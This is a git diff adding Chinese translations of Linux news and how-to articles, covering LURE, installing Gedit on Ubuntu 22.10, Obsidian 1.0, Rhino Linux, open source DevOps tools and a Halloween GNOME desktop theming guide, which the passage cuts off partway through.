+![][15] + +命令看起来像这样: + +``` +lure in itd-bin +``` + +在它的 [官方文档页面][16],你可以读到更多关于它在构建/安装/添加存储库方面的用法。 + +未来版本的一些计划中的功能包括: + +* 自动安装脚本 +* 基于 Docker 的自动测试工具 +* 仓库的网页接口 + +### 让它变得更好 + +嗯,首先,这是一个优秀的项目。如果你是过去使用过 Arch 的人,或者想离开 Arch Linux,这将是一个很好的工具。 + +然而,对于大多数终端用户和非 Arch Linux 新手来说,像 [Pamac GUI 软件包管理器][17] 这样的软件包管理器支持 LURE 应该是锦上添花的。 + +当然,在目前的阶段,它需要开源贡献者的支持。所以,如果你喜欢这个想法,请随时为该项目贡献改进意见 + +*💭 你对 LURE 有什么看法?请在下面的评论中分享你的想法! * + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/lure-aur/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/LURE-aur-for-all-linux-distros.jpg +[2]: https://news.itsfoss.com/manjaro-linux-experience/ +[3]: https://itsfoss.com/aur-arch-linux/ +[4]: https://itsfoss.com/aur-arch-linux/ +[5]: https://news.itsfoss.com/content/images/2022/10/lure-repos.png +[6]: https://mpr.makedeb.org +[7]: https://itsfoss.com/create-pkgbuild/ +[8]: https://itsfoss.com/create-pkgbuild/ +[9]: https://www.reddit.com/r/linux/comments/xq09nf/lure_aur_on_nonarch_distros/ +[10]: https://gitea.arsenm.dev/Arsen6331/lure +[11]: https://github.com/Arsen6331/lure +[12]: https://news.itsfoss.com/content/images/2022/10/lure-neofetch-rm.png +[13]: https://gitea.arsenm.dev/Arsen6331/lure/releases/tag/v0.0.2 +[14]: https://news.itsfoss.com/content/images/2022/10/lure-binaries.jpg +[15]: https://news.itsfoss.com/content/images/2022/10/lure-test.png +[16]: https://github.com/Arsen6331/lure/blob/master/docs/usage.md +[17]: https://itsfoss.com/install-pamac-arch-linux/ diff --git a/published/202210/20221014 Install Gedit on Ubuntu 22.10 and Make it Default Text Editor.md b/published/202210/20221014 Install Gedit on Ubuntu 22.10 and Make it Default Text Editor.md new file mode 100644 index 0000000000..a4ea73de8f --- /dev/null +++ b/published/202210/20221014 Install Gedit on Ubuntu 22.10 and Make it Default Text Editor.md @@ -0,0 +1,113 @@ +[#]: subject: "Install Gedit on Ubuntu 22.10 and Make it Default Text Editor" +[#]: via: "https://itsfoss.com/install-gedit-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15194-1.html" + +在 Ubuntu 22.10 上安装 Gedit 并将其设为默认文本编辑器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/30/124029bf0qjklphcpzpclh.jpg) + +[GNOME 有了一个全新的文本编辑器][1],以取代旧的 Gedit 编辑器。 + +虽然 GNOME 42 已经可以使用了它,但 Ubuntu 22.04 还依赖于 Gedit。 + +这在 Ubuntu 22.10 中发生了变化。 GNOME 文本编辑器Text Editor 现在是默认程序,甚至没有安装 Gedit。 + +![搜索文本编辑器只出现 GNOME 文本编辑器][2] + +虽然新编辑器足够好,但并不是每个人都喜欢它。如果你将 Gedit 与其他插件一起频繁使用,则尤其如此。 + +如果你属于这类人,让我向你展示如何在 Ubuntu 上安装 Gedit。我还将分享如何将其设为默认文本编辑器。 + +### 在 Ubuntu 上安装 Gedit + +这实际上是不费吹灰之力的。虽然默认未安装 Gedit,但它仍然可以在 Ubuntu 仓库中找到。 + +所以,你所要做的就是使用 `apt` 命令来安装它: + +``` +sudo apt install gedit +``` + +Gedit 也可以在软件中心中找到,但它是 Snap 包。如果你愿意,你可以安装它。 + +![Gedit 也可以在 Ubuntu 的 Snap 商店中找到][3] + +#### 安装 Gedit 插件(可选) + +默认情况下,Gedit 为你提供访问一些插件的选项。你可以从 “汉堡菜单->偏好Preference->插件Plugins” 启用或禁用插件。 + +![在 Gedit 中访问插件][4] + +你可以在这里看到可用的插件。检查已安装或正在使用的插件。 + +![查看 Gedit 中可用和已安装的插件][5] + +但是,你可以通过安装 gedit-plugins 元数据包将插件选择提升到一个新的水平。 + +``` +sudo apt install gedit-plugins +``` + +这将使你可以访问其他插件,如书签、括号补全、Python 控制台等。 + +![其他 Gedit 插件][6] + +**提示**:如果你发现 Gedit 因缺少底角而显得有些格格不入,你可以安装一个名为 [Round Bottom Corner][7] 的 GNOME 扩展。这将为包括 Gedit 在内的所有应用强制添加圆底角。 + +### 使 Gedit 成为默认文本编辑器 + +好了!你已经安装了 Gedit,但文本文件仍然在双击操作后使用 GNOME 文本编辑器打开。要使用 Gedit 打开文件,你需要右键单击,然后选择“打开方式open with”选项。 + +如果你希望一直使用 Gedit 打开文本文件,你可以将其设置为默认程序。 + +右键单击文本文件并选择“打开方式open with”选项。在此处选择 Gedit 并从底部启用“始终用于此文件类型Always use for this file type”选项。 + +![设置 Gedit 为默认文本编辑器][8] + +### 删除 Gedit + +觉得 Gedit 没达到预期么?这很少见,但我不会评判你。要从 Ubuntu 中删除 Gedit,请使用以下命令: + +``` +sudo apt remove gedit +``` + +你也可以尝试从软件中心卸载它。 + +### 总结 + +GNOME 文本编辑器是下一代从头开始创建的编辑器,它与新的 GNOME 完美融合。 + +对于简单的文本编辑来说已经足够了。然而,Gedit 有一个插件生态系统,赋予它更多功能。 + +对于那些将它广泛用于编码和其他事情的人来说,安装 Gedit 仍然是 Ubuntu 中的一个选项。 + +那你呢?你会坚持使用默认的新文本编辑器还是回到旧的 Gedit? + +--- + +via: https://itsfoss.com/install-gedit-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/gnome-text-editor/ +[2]: https://itsfoss.com/wp-content/uploads/2022/10/text-editor-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/10/install-gedit-from-ubuntu-software-center.png +[4]: https://itsfoss.com/wp-content/uploads/2022/10/access-plugins-in-gedit.png +[5]: https://itsfoss.com/wp-content/uploads/2022/10/plugins-in-gedit.png +[6]: https://itsfoss.com/wp-content/uploads/2022/10/additional-plugins-gedit.png +[7]: https://extensions.gnome.org/extension/5237/rounded-window-corners/ +[8]: https://itsfoss.com/wp-content/uploads/2022/10/set-gedit-default.png diff --git a/published/202210/20221014 Notion-like Markdown Note-Taking App -Obsidian- is Out of Beta.md b/published/202210/20221014 Notion-like Markdown Note-Taking App -Obsidian- is Out of Beta.md new file mode 100644 index 0000000000..d86ce1f6c9 --- /dev/null +++ b/published/202210/20221014 Notion-like Markdown Note-Taking App -Obsidian- is Out of Beta.md @@ -0,0 +1,109 @@ +[#]: subject: "Notion-like Markdown Note-Taking App 'Obsidian' is Out of Beta" +[#]: via: "https://news.itsfoss.com/obsidian-1-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15147-1.html" + +类似 Notion 的 Markdown 笔记应用黑曜石推出测试版 +====== + +> 黑曜石 1.0 做了重新设计,带来了有价值的新功能。 + +![类似于 Notion 的 Markdown 笔记软件 Obsidian 推出了测试版][1] + +黑曜石Obsidian 是一款强大的笔记应用,可以用来制作知识图谱,同时还提供 [Notion][2] 类似的功能。 + +在 1.0 更新之前,我们已经有一篇关于它的 [详细文章][3]。 + +黑曜石 1.0 的发布标志着该应用在桌面和移动体验方面的发展迈出了关键一步。 + +> 💡 黑曜石不是一个开源的应用程序,但可以在 Linux 上使用。 + +让我们来看看它的桌面版提供的新功能。 + +### 🆕 黑曜石 1.0 的新功能 + +![黑曜石 1.0][5] + +1.0 版本增加了大量的新功能、主要的视觉变化和错误修复,其中一些亮点包括: + +* 改良的用户界面 +* 新的外观设置 +* 带有标签堆叠的标签功能 +* 大修的主题画廊 +* 各种错误的修复 + +#### 🎨 用户界面的改造 + +![黑曜石 1.0 用户界面][8] + +用户界面已经得到了全面改造,这使得用户体验更加直观和强大。 + +![黑曜石用户界面][9] + +除此之外,黑曜石现在还有一个专门的外观设置部分。它包含了切换显示内联标题、标签标题栏、改变重点颜色等选项的设置。 + +![黑曜石 1.0 外观设置][10] + +#### 带有标签堆叠的标签功能 + +![黑曜石 1.0 的标签][11] + +现在你可以在黑曜石中打开多个标签,并使用热键来帮助你在忙碌的一天中完成多个任务。 + +一个额外的好处是,即使你退出黑曜石,它也会记住你曾经打开的标签和你在这些标签中的活动状态。 + +![黑曜石 1.0 的标签堆叠][12] + +标签也可以分组形成堆叠,并在它们之间进行切换,从而使工作空间变得更加整齐。 + +#### 🛠️ 其他变化 + +其他值得一提的变化包括: + +* 改变缩放级别的能力 +* 改进了黑曜石的同步 +* 内存泄漏修复 +* 用于折叠行的折叠命令 + +你可以通过 [发布说明][13],以及 [发布公告][14] 来了解更多的细节。 + +### 📥 下载黑曜石 1.0 + +你可以到 [官方网站][17] 下载黑曜石 1.0。在手机上,也可以在谷歌应用商店和苹果的应用商店上找到它。 + +为 Linux 用户提供了三个软件包:**AppImage、Flatpak 和 Snap**。 + +开发者还澄清说,他们不会向个人用户收取黑曜石的使用费。 + +*💬 你对黑曜石 1.0 有什么看法?一个值得替代其他记事本的应用程序吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/obsidian-1-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/obsidian-1.png +[2]: https://notion.grsm.io/itsfoss +[3]: https://linux.cn/article-14230-1.html +[5]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0.png +[8]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_User_Interface.png +[9]: https://news.itsfoss.com/content/images/2022/10/obisidian-1-ui.png +[10]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_Appearance_Settings.png +[11]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_Tabs.png +[12]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0_Tab_Stacks.gif +[13]: https://forum.obsidian.md/t/obsidian-release-v1-0-0/44873 +[14]: https://obsidian.md/1.0 +[17]: https://obsidian.md/download +[18]: https://www.youtube-nocookie.com/embed/Ia2CaItxTEk diff --git a/published/202210/20221017.2 ⭐️ Ubuntu but rolling but also stable That's what Rhino Linux aims to be.md b/published/202210/20221017.2 ⭐️ Ubuntu but rolling but also stable That's what Rhino Linux aims to be.md new file mode 100644 index 0000000000..485a46b7e9 --- /dev/null +++ b/published/202210/20221017.2 ⭐️ Ubuntu but rolling but also stable That's what Rhino Linux aims to be.md @@ -0,0 +1,80 @@ +[#]: subject: "Ubuntu but rolling but also stable That's what Rhino Linux aims to be" +[#]: via: "https://news.itsfoss.com/rhino-linux/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15192-1.html" + +Rhino Linux:滚动发布但也很稳定的 Ubuntu +====== + +> 滚动发布的 Ubuntu 发行版?等等,什么? Rhino Linux 听起来不错…… + +![Ubuntu but rolling but also stable! That's what Rhino Linux aims to be][1] + +Rhino Linux 将成为 [Rolling Rhino Remix][2] 的继任者。这个由 http.llamaz 构建的 Linux 发行版,提供了滚动发布的**非官方的** Ubuntu 变体版本。 + +需要澄清的是,该项目从未旨在取代其他稳定的发行版,而纯粹是一个充满乐趣的激情项目。 + +而随着人们开始将其用作日常使用并对其期望更多,开发人员决定将其变成一个严肃的项目。 + +Rhino Linux 作为它的继任者。那么,你对它的期待是什么? + +### 有请继任者 Rhino Linux + +其主要目标是提供稳定的 Ubuntu 体验,同时仍提供滚动发布模式。 + +目标仍保持不变,但 Rhino Linux 的基础将得到彻底改变。他们有可能使它成为一个令人印象深刻的滚动发布的 Ubuntu 发行版。 + +**听起来很令人兴奋!🤯** + +在其核心,Rhino Linux 将使用稍微修改过的 [Xfce][3] 版本作为其桌面环境;之所以选择它是因为它众所周知的稳定性和速度。 + +Rhino Linux 的创始人提到了以下几点: + +> 滚动版 Ubuntu 仍然是我们的核心理念。Rhino Linux 并不是从 Rolling Rhino Remix 中分离出来的,而是将它重新设想为更稳定、更成熟的发行版,它原本就应该以这种方式出厂。 + +![xfce 4.14][4] + +除此之外,[Pacstall][5] 将用作 Rhino Linux 上的默认包管理器及其存储库之一。 + +> 💡 Pacstall 是一个受 [AUR][6] 启发的 Ubuntu 包管理器。 + +Pacstall 的开发由其创始人 [Plasma][7] 领导。他还作为新开发人员之一(副项目负责人)加入,而 [Sourajyoti Basak][8] 作为另一位核心成员加入。 + +### 前进:可用性和发布 + +在撰写本文时,Rhino Linux 尚未确定任何具体的发布日期,但你可以预计它会在 **2023** 年的某个时间发布。 + +Rolling Rhino Remix 会发生什么? + +开发者澄清说,它将在 Rhino Linux 发布后继续维护三个月。但是,在 2022 年 1 月 11 日后继发布之后,它没有新的发布镜像。 + +你可以通过访问其 [官方网站][9] 了解更多关于 Rhino Linux 的信息。 + +_💬 你觉得 Rhino Linux 怎么样?它可以成为值得尝试的官方 Ubuntu 风格的竞争者吗?_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/rhino-linux/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/rhino-linux.png +[2]: https://github.com/rollingrhinoremix +[3]: https://www.xfce.org/ +[4]: https://news.itsfoss.com/content/images/2022/10/XFCE_4.14.png +[5]: https://github.com/pacstall/pacstall +[6]: https://itsfoss.com/aur-arch-linux/ +[7]: https://github.com/Henryws +[8]: https://github.com/wizard-28 +[9]: https://rhinolinux.org/ diff --git a/published/202210/20221017.3 ⭐️⭐️⭐️ Open source DevOps tools in a platform future.md b/published/202210/20221017.3 ⭐️⭐️⭐️ Open source DevOps tools in a platform future.md new file mode 100644 index 0000000000..8af5dc99f0 --- /dev/null +++ b/published/202210/20221017.3 ⭐️⭐️⭐️ Open source DevOps tools in a platform future.md @@ -0,0 +1,111 @@ +[#]: subject: "Open source DevOps tools in a platform future" +[#]: via: "https://opensource.com/article/22/10/open-source-devops-tools" +[#]: author: "Will Kelly https://opensource.com/users/willkelly" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15170-1.html" + +开源 DevOps 工具的平台化未来 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/24/092748lwwoicus5e4s59gg.jpg) + +> 当商业 DevOps 工具市场着眼于平台时,是时候让开源 DevOps 工具重新定义它们的未来了。 + +DevOps 的开源根基是无法动摇的,即便有预言称全球的 DevOps 市场将在 2026 年之前达到 178 亿美元。不断变化的工作环境、安全和合规性问题,以及风险投资公司等等因素正在将市场推向 DevOps 平台,开发团队可以在云中获得完整的端到端 DevOps 工具链。 + +### 开源 DevOps 工具现状 + +我们要搞清楚一件事:开源工具不可能从 DevOps 世界中消失。现在,在开源和供应商提供的 DevOps 工具之间存在着一种平衡,开发人员会在两者间选择适合他们的工具。事实上,很多情况下,一个开发团队起初会为他们的 DevOps 流水线选择一个开源工具,后来又升级到商业版本。 + +### 三种开源 DevOps 工具实例 + +下面我们介绍一些开源 DevOps 工具的例子,每种工具都已经有了围绕其建立的商业化生态。 + +#### Git + +源代码管理工具 [Git][1] 作为源代码库,可能是 DevOps 工具链的主要基础之一。 + +Git 的两个最佳商业案例是 GitLab 和 GitHub。GitLab [接受开发者对其贡献开源项目][2]。GitHub 也在着手努力成为一个 DevOps 平台,推出了人工智能版的结对编程 GitHub Copilot,在推出后受到了一些开源团体的褒贬不一的评价。 + +#### Jenkins + +作为一个开源的自动化服务,Jenkins 因其易于安装、配置和可扩展性而受到推崇。 + +CloudBees 提供了 JenkinsX,JenkinsX 是一套开源的解决方案,可以为 Kubernetes 上的云原生应用提供自动化持续集成和持续交付(CI/CD)以及自动化测试工具。他们还为JenkinsX 提供商业支持,包括: + +- 访问 CloudBees 的专业技术技能 +- 24x7 技术支持 +- 访问 CloudBees 的文档和在线知识库 + +#### Kubernetes + +随着越来越多的组织寻求企业级的容器编排解决方案,[Kubernetes][3] 的发展成为必然。尽管有人批评其复杂性。 + +自然而然的,Kubernetes 周边有完整的、蓬勃发展的产业。根据 Allied 市场调研的数据,全球容器和 [Kubernetes 安全][4] 市场在 2020 年的估值为 7.14 亿美元,预计到 2030 年将达到 8.42 亿美元。 + +### 目前的 DevOps 工具链 + +各个行业仍有很多自建build-your-own(BYO)的 CI/CD 工具链在发挥作用。支持 DevOps 功能的开源项目仍在蓬勃发展。 + +BYO 工具链可以集成其他工具,而且非常具有扩展性,这对于持续迭代其 DevOps 实践的组织来说一直是一个优势。在出于业务、IT 和安全原因寻求标准化的企业中,缺乏标准的材料清单可能是个麻烦。 + +虽然 DevOps 平台的出现并没有被忽视,但许多组织早在大流行之前就将他们的 CI/CD 工具链迁移到了公有云。长期以来,工具链本身的安全性一直是一个不断上升的问题,而公有云基础设施提供了身份访问管理(IAM)和其他安全功能来控制访问。 + +### DevOps 平台是敌是友? + +DevOps 平台是一个端到端的解决方案,它将 CI/CD 工具链的所有功能放入云中。DevOps 平台的例子包括 GitLab 和 Harness。GitHub 也在采取行动,使自己成为一个 DevOps 平台。 + +#### 优势(即便只从企业买家角度考虑) + +DevOps 平台对那些已经适应了 SaaS 和云计算行业的基于消费和订阅的定价的企业买家很有吸引力。在这个远程和混合工作的世界里,对可维护性、安全、合规性和开发人员的生产力的担忧肯定是技术领导者的首要考虑。对这些人来说,在 DevOps 平台上实现标准化是很有吸引力的。 + +#### 劣势 + +在依赖供应商提供的 DevOps 工具链时,人们会想到对供应商锁定功能的古老担忧。开发团队构建和维护其工具链的可扩展性不会像他们从头开始制作工具链时那样,更不用说引入新的工具来改善他们的工作流程了。 + +DevOps 平台供应商也有潜在的经济方面的劣势。想一想,一个被高估的 DevOps 工具初创公司如果没有达到其投资者的高额财务目标,可能会发生什么。同样,也可能有一些较小的初创供应商得不到下一轮的资金,而慢慢消失。 + +虽然 DevOps 平台的出现在很多方面都是有意义的,但它确实违背了促成我们今天使用的 DevOps 工具的开源精神。 + +### DevOps 工具:一个拐点 + +随着工作模式的改变,人们对 DevOps 工具链的安全和合规性的关注必然会增加。 + +#### 正在变化的工作环境 + +我们的工作方式与企业其他部门一样影响着 DevOps 团队。远程和混合 DevOps 团队需要安全的工具链。整个流水线中不断变化的协作和报告要求,如异步工作和经理要求返回办公室等,也是日益增长的必要条件。 + +#### 软件供应链安全市场 + +在高调的攻击和美国联邦政府的回应之后,软件供应链安全市场引起了很多关注。目前还没有组织将软件供应链的攻击归咎于开源,但我们将看到 DevOps/DevSecOps 实践和工具的延伸,以对抗这种威胁。不过,当一切都结束时,DevOps/DevSecOps 的工具和实践将超过一些转向这一趋势的初创公司。 + +### 结语 + +对于 DevOps 领域的开源软件(OSS)项目来说,这还远远没有结束,但 DevOps 利益相关者有权开始询问未来的工具链。然而,OSS DevOps 项目确实需要考虑它们的未来,特别是考虑到日益增长的直接影响流水线的安全和合规性问题。 + +DevOps 平台供应商与开源工具的未来趋势是合作性竞争,即 DevOps 平台供应商向作为其平台基础的开源工具贡献时间、金钱和资源。一个有趣的例子就是 [OpsVerse][5],它用他们为客户管理的开源工具提供了一个 DevOps 平台。 + +然后,还有一个未来,随着更多的企业构建的工具链迁移到云端,开源 DevOps 工具项目将继续繁荣和创新。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/open-source-devops-tools + +作者:[Will Kelly][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/willkelly +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/4/our-favorite-git-commands +[2]: https://opensource.com/article/19/9/how-contribute-gitlab +[3]: https://opensource.com/resources/what-is-kubernetes +[4]: https://enterprisersproject.com/article/2019/1/kubernetes-security-4-tips-manage-risks?intcmp=7013a000002qLH8AAM +[5]: https://www.opsverse.io/ +[6]: https://www.redhat.com/architect/devsecops-culture?intcmp=7013a000002qLH8AAM diff --git a/published/202210/20221018.4 ⭐️⭐️ Give Your Linux Desktop a Halloween Makeover.md b/published/202210/20221018.4 ⭐️⭐️ Give Your Linux Desktop a Halloween Makeover.md new file mode 100644 index 0000000000..cd8a41894f --- /dev/null +++ b/published/202210/20221018.4 ⭐️⭐️ Give Your Linux Desktop a Halloween Makeover.md @@ -0,0 +1,285 @@ +[#]: subject: "Give Your Linux Desktop a Halloween Makeover" +[#]: via: "https://itsfoss.com/linux-halloween-makeover/" +[#]: author: "Sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15190-1.html" + +打造万圣节 Linux 桌面 +====== + +马上就到万圣节了,太棒啦! + +我相信你已经有了一些庆祝万圣节的想法。给你的 Linux 桌面做一个像幽灵般的黑暗改造,就类似于下面的屏幕截图,你觉得怎么样? + +![ubuntu halloween theming final looks][1] + +可定制是 Linux 的一大优势,对 Linux 可进行的定制是多种多样且没有尽头的。之前,我们向你展示过 [如何让你的 Linux 看起来像 macOS][2] 的方法。今天,我将继续分享一些定制“万圣节”Linux 桌面的技巧。 + +可以通过主题、图标、扩展、字体、Conky 等一系列配置组合起来,来实现 Linux 桌面的定制。_虽然,你可以在任何的 Linux 发行版和桌面环境中配置这些东西,但是仅在一个教程中展示所有 Linux 发行版和桌面环境的桌面定制方法,是不太可行的。_ + +因此,在本文中,我将介绍 Ubuntu 与 GNOME 桌面环境的桌面定制方法。 + +### 安装所需工具 + +你需要一些软件包和工具。在开始定制桌面前,请确保你安装了全部(或大多数)的软件包和工具。 + +_你不必做**所有**这些桌面改变。但你做的越多,你的桌面也会美化得更好看。_ + +#### 安装 GNOME 优化工具和 GMOME 扩展管理器 + +使用以下命令,来安装 GNOME 优化Tweaks 工具和 GMOME 扩展管理器Extensions manager: + +``` +sudo apt install gnome-tweaks gnome-extension-manager +``` + +在基于 KDE 的 Linux 系统中,没有可以更改 Linux 桌面外观的优化工具。但是,你可以使用 Kvantum-Manager 这一应用程序来更改外观,请参考我在 [KDE 主题指南][3] 中的讨论。 + +#### 安装 Conky(可选) + +你可以选择是否要安装 Conky ,因为现在 conky-manager 项目已经不再维护了,因此继续使用 Conky 可能会有点棘手。但无论如何,我们用它来增加万圣节外观的感觉。 + +``` +sudo apt install conky-all +``` + +#### 安装 Neofetch 或者 Shell-color 脚本 + +这个步骤也可以由你自主选择。你可以选择使用 [neofetch][4],因为 `neofetch` 工具已经在 Ubuntu 仓库中了,你可以直接通过 `apt install` 安装,并且 `neofetch` 使用起来也很简单。 + +``` +sudo apt install neofetch +``` + +[Shell-color 脚本][5] 是另一个不错的选择。在 Arch 用户仓库(AUR)中有该软件包,Arch Linux 用户可以从 AUR 安装 Shell-color 脚本。而在 Ubuntu 中,你则需要手动安装它。 + +``` +git clone https://gitlab.com/dwt1/shell-color-scripts.git +cd shell-color-scripts +sudo make install +``` + +#### 安装主题、图标、字体和壁纸工具 + +我正在使用的是 [Sweet][6] 主题工具、[Beautiline][7] 图标软件包、[simple1e][8] 光标工具和 [Grey-Minimalistic][9] Conky 主题,下载好这些工具后,再解压包。你还要下载 [Creepster][10] 字体。 + +最后,从互联网上下载一张 [万圣节幽灵氛围的壁纸][11]。 + +> 请注意!你即将要进行大量的定制和更改。要恢复到原来普通的外观,你可以通过撤销你所做的所有更改。一个更简单的方法是:创建一个管理员权限的新用户,并使用该新用户进行所有这些更改。这样,你的原始用户帐户和外观就不会受到影响。在万圣节结束后,你可以删除这个新增的用户。 + +现在,你有了所有定制桌面的工具和资源,是时候使用它们了! + +### 安装并使用扩展 + +打开 GMOME 扩展管理器Extensions manager。在 Ubuntu 22.04 中,你可以在浏览Browse菜单下安装扩展。 + +![install gnome shell extensions user themes blur my shell and dash to dock][12] + +在其他版本的 Ubuntu 和其他带有 GNOME 的发行版上,你可以通过浏览器 [安装 shell 扩展][13],来安装扩展。为了实现打造万圣节桌面的目的,请安装以下扩展程序: + +- [User Themes][14] +- [Dash to Dock][15] +- [Blur my Shell][16] + +此外,请确保所有的扩展都已启用。 + +### 配置主题、图标和字体 + +你需要将解压的主题文件夹复制,并粘贴到 `~/.themes` 目录下,将解压的图标和光标文件夹复制,并粘贴到 `~/.icons` 目录下。 + +接下来,打开 GNOME 优化Tweaks 工具,并应用主题、图标和字体等设置,如下的截图所示。 + +![set themes with gnome tweaks][17] + +要 [在 Ubuntu 中使用自定义字体][18],请右键单击你下载和解压的字体文件,然后选择使用字体管理器Font manager打开。我打算使用的是 [Creepster][10] 字体。 + +![right click on font file and select open with fonts][19] + +然后,点击右上角的安装Install按钮。 + +![install font using font manager application][20] + +请注意:在某些系统中,点击安装按钮不会显示“已安装installed”的提示。在这种情况下,你只需关闭界面就行了,因为一旦你点击了安装按钮,该字体就已经安装上了。 + +再重新打开 GNOME 优化Tweaks 工具,然后前往字体Fonts边栏,在这里,你可以更改各个文件类型的字体,如下图所示。 + +![change system fonts using gnome tweaks][21] + +请注意,对于终端,需要等宽字体。在这里,我使用了普通字体,这里可能会让你稍稍有点迷失。 + +### 应用 Dash to Dock 扩展设置 + +首先,你要使用 GNOME 扩展应用程序,来**关闭 Ubuntu Dock 扩展**。 + +![Disable Ubuntu Dock][22] + +如果 Dash to Dock 扩展还尚未运行的话,请先运行它。 + +然后,右键单击在底部显示的 “Dash to Dock” 按钮,然后选择 “Dash to Dock Settings”。 + +![select dash to dock settings][23] + +在设置中,你需要调整一些小东西。 + +首先,使用滑块,来缩小图标的大小。 + +![setting dash to dock icon size][24] + +之后,你需要减少程序坞的不透明度,我更喜欢完全透明的程序坞。 + +所以,我将不透明度设置为 固定fixed,并使用滑块将其降至零,如下图所示。 + +![opacity setting for dash to dock][25] + +### GNOME 终端的设置 + +你想得到的 Linux 桌面的主要变化是自定义**模糊且有一定透明度**的 `neofetch` 外观(或 shell-color 脚本外观)。 + +我们之前在 GNOME 优化Tweaks 工具中应用了等宽字体,因此 GNOME 终端中的字体也会被更改。 + +首先,从 偏好设置preferences 中创建一个新的配置文件。 + +![select preferences from hamburger menu][26] + +单击 `+` ,来创建一个新配置文件。输入文件的名称,并点击 创建create,如下所示: + +![create new profile in gnome terminal][27] + +在这个新配置文件中,更改透明度设置,将透明度的滑块放在中间,如下图所示: + +![set transperancy to gnome terminal][28] + +完成后,要将此配置文件设置为默认的配置文件,单击与新配置文件关联的三角形按钮,然后选择 “设置为默认Set as Default”。 + +![set new profile as default in gnome terminal][29] + +#### 设置模糊效果 + +上述的步骤只会将终端变成一个透明的 shell。但是,如果你还需要有利于提高可见性的模糊效果,你需要进入到 “Blur my Shell” 扩展进行设置。 + +![blur my shell extension settings][30] + +首先,进入到 应用程序Application 菜单。现在,确保终端已打开,并置于屏幕明显的位置。单击 添加Add 窗口,然后选择 GNOME 终端窗口,以设置模糊效果。请注意:此功能还处于测试阶段,因此可能会出现一些小故障。 + +![applying blur effect to selected windows][31] + +也可以对其他应用程序(例如 Nautilus 文件管理器)重复此过程,来设置模糊效果。 + +#### 定制 Neofetch + +Neofetch 的最佳功能之一是其可定制性。你可以使用多种方法来调整 Neofetch 的外观。为了更有万圣节氛围,我选择了一个南瓜图像,来代替发行版的徽标。 + +Neofetch 提供以各种格式添加自定义图像的功能。为此,也有各种供支持的后端。在这里,我使用 jp2a 后端,它将使用 [转换成 ASCII 的图片][32]。 + +``` +neofetch --jp2a /path/to/your/image/file.png +``` + +![neofetch with custom backend][33] + +上述命令将创建一个带有自定义图片的 Neofetch 实例。你可以将此命令写入你的 `.bashrc` 文件,以便永久放置该图片。 + +_不幸的是,这在我的 Wayland 实例上并不起作用。_ + +#### 自定义 Shell-Color 脚本 + +如果你安装的是 Shell Color 脚本工具,则会有多种 shell 脚本。要列出可用的脚本,请使用命令: + +``` +colorscript -l +``` + +![ghosts shell color script][34] + +你可以通过将 `colorscript random` 写入你的 `.bashrc` 文件,以每次都获得一个随机的颜色脚本,或者通过将`colorscript -e `写入你的 `.bashrc` 文件,来得到一个特定的颜色脚本。 + +### 设置 Conky + +我使用的是 Deviantart 的 [Grey-Minimalistic][9] conky 主题。Conky 